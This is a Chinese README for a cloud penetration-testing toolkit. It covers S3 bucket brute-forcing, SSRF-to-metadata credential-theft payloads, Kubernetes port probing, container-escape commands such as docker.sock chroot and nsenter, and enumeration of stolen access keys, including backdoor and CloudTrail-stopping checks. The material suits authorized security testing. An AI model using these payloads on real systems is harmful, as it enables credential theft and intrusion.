云安全漏洞挖掘与利用 Skill

云安全漏洞挖掘与利用工具集 — 攻击面发现 + 凭据后利用

云安全漏洞挖掘与利用 Skill。S3 桶爆破枚举、公开桶敏感文件发现、SSRF→IMDS 凭证窃取探测、K8s 未授权访问检测、容器逃逸条件识别、 AK/SK 凭证验证与权限枚举、存储桶供应链攻击利用。

概述

cloud-vuln-skill 是一套面向云环境的安全测试工具,聚焦于两个核心阶段:

阶段说明需要凭证
信息收集S3 桶爆破、公开桶扫描、SSRF→IMDS 探测、K8s 未授权检测、容器逃逸条件识别
凭据利用AK/SK 验证、权限枚举、提权路径分析、S3 桶资产盘点

设计原则:

  • 只读优先 — 所有探测默认仅执行被动信息收集
  • 写入即清理 — S3 可写测试在上传后立即删除测试文件
  • 不实际利用 — 提权/后门创建等操作仅报告权限存在,不执行

快速开始

安装

git clone https://github.com/<your-username>/cloud-vuln-skill.git
cd cloud-vuln-skill
pip install -r requirements.txt

基本用法

# === 信息收集(无需云凭证)===

# S3 桶名爆破
python scripts/cloud_scanner.py brute-s3 --keyword company-name

# 单桶公开状态检查
python scripts/cloud_scanner.py check-bucket --name company-prod

# 公开桶敏感文件扫描
python scripts/cloud_scanner.py scan-bucket --url https://bucket-name.s3.amazonaws.com

# SSRF → IMDS 凭证窃取探测
python scripts/cloud_scanner.py probe-ssrf --target https://target.com/api --param url

# K8s 节点未授权访问探测
python scripts/cloud_scanner.py probe-k8s --node 10.0.0.1

# 容器逃逸条件检测(在容器/Pod 内运行)
python scripts/cloud_scanner.py container-escape

# === 凭据利用(拿到 AK/SK 后)===

python scripts/cloud_scanner.py exploit-creds --ak AKIAXXXXXX --sk xxxxxxxxxxxx

命令详解

brute-s3 — S3 桶名爆破

python scripts/cloud_scanner.py brute-s3 --keyword <关键词> [--threads 20] [--delay 0.1] [--format table|json]

将关键词与 70+ 常见后缀(-prod-dev-backup-terraform-secrets 等)拼接,向 AWS 全球端点和区域端点并发 HTTP HEAD 请求。

状态码含义
200公开桶(可列目录)
403存在但非公开
404/DNS 失败不存在

参数:

  • --keyword:公司名/关键词(必填)
  • --threads:并发线程数(默认 15)
  • --delay:请求间隔秒数(默认 0.05,增大可避免云端限流)
  • --formatjson(默认)或 table

check-bucket — 单桶公开状态检查

python scripts/cloud_scanner.py check-bucket --name <桶名> [--region us-east-1]

三项检测:

  • 公开可列 — GET 桶根路径,200 且响应含 <Key> 即为可列目录
  • 公开可写 — PUT 测试文件,200 即为可写(测试后自动清理)
  • 公开可读 — HEAD 常见文件名

scan-bucket — 公开桶敏感文件扫描

python scripts/cloud_scanner.py scan-bucket --url <桶URL> [--max-files 100] [--threads 10]

两级匹配机制:

第一级(文件名匹配) — 13 类敏感文件,不需要下载:
.envterraform.tfstatecredentialsid_rsa*.sql*.dumpconfig.ymlsecret.yamlDockerfile.git/config*.pem*.zip.bash_history

第二级(内容关键词) — 仅下载 ≤10KB 的文件头部搜索:
AKIAASIABEGIN RSA PRIVATE KEYDB_PASSWORD=AWS_ACCESS_KEY_ID=connectionStringBearerCREATE TABLE

桶不可列时自动切换爆破模式,用 30 个常见文件名逐个探测。

probe-ssrf — SSRF → IMDS 凭证窃取探测

python scripts/cloud_scanner.py probe-ssrf --target <URL> --param <参数名>

向目标 URL 的参数注入云元数据服务地址,检测响应中是否含云凭证关键词。

注入的 Payload:

#Payload目标
1http://169.254.169.254/latest/meta-data/AWS IMDSv1
2http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS IAM Role 名
3http://169.254.169.254/metadata/instance?api-version=2021-02-01Azure IMDS
4http://metadata.google.internal/computeMetadata/v1/GCP
5http://100.100.100.200/latest/meta-data/阿里云
6http://[::ffff:a9fe:a9fe]/latest/meta-data/AWS IPv6 映射绕过

probe-k8s — K8s 未授权访问探测

python scripts/cloud_scanner.py probe-k8s --node <IP>

扫描 7 个高危端口:

端口服务探测路径
6443K8s API (TLS)/api/v1/pods /api/v1/secrets /version
8080K8s API (Plain)同上
10250Kubelet/pods /runningpods/
10255Kubelet RO/pods
2379etcd/version /v2/keys
4194cAdvisor/containers
10256kube-proxy/healthz

container-escape — 容器逃逸条件检测

# 在容器/Pod 内运行
python scripts/cloud_scanner.py container-escape

11 项自动检测:

检测危险度逃逸方法
/var/run/docker.sock 挂载🔴docker run -v /:/host alpine chroot /host
Privileged 模式🔴nsenter --target 1 --mount --pid -- bash
CAP_SYS_ADMIN🔴cgroup release_agent 逃逸
CAP_SYS_PTRACE🔴宿主机进程注入
hostPID🔴nsenter -t 1
hostPath 挂载🔴直接读写宿主机文件
K8s SA Token🟠调 API Server 操作资源
IMDS 可达🟠获取云 IAM 凭证
Containerd Socket🟠ctr 命令控制容器

仅检测不利用,不会尝试实际逃逸。

exploit-creds — AK/SK 验证与权限枚举

python scripts/cloud_scanner.py exploit-creds --ak <AccessKey> --sk <SecretKey> [--token <SessionToken>] [-o result.json]

一条命令完成五步:

  1. 身份验证sts:GetCallerIdentity → Account ID、ARN
  2. IAM 信息收集 — 附加策略、Inline Policy、所属组、MFA 状态
  3. 高危权限探测真实验证 23 个 API(读操作直接调用,写操作使用安全假参数/DryRun 探测,不产生副作用)
  4. 提权路径分析 — 匹配 10 种危险权限组合
  5. S3 桶枚举 — 列出桶 + 检查 Block Public Access + 加密状态

高危权限探测覆盖:

类别探测命令验证方式
直接提权iam:CreatePolicyVersion假策略 ARN 探测
直接提权iam:AttachUserPolicy不存在的用户名探测
后门iam:CreateUser + iam:CreateAccessKey不存在用户名探测
EC2ec2:RunInstancesDryRun 模式(安全)
Lambdalambda:UpdateFunctionCode不存在函数名 + 空 zip
S3s3:PutBucketPolicy不存在桶名探测
反取证cloudtrail:StopLogging直接调用(会失败但不产生效果)

工具下载

https://github.com/mouren101/cloud-vuln-skill
© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容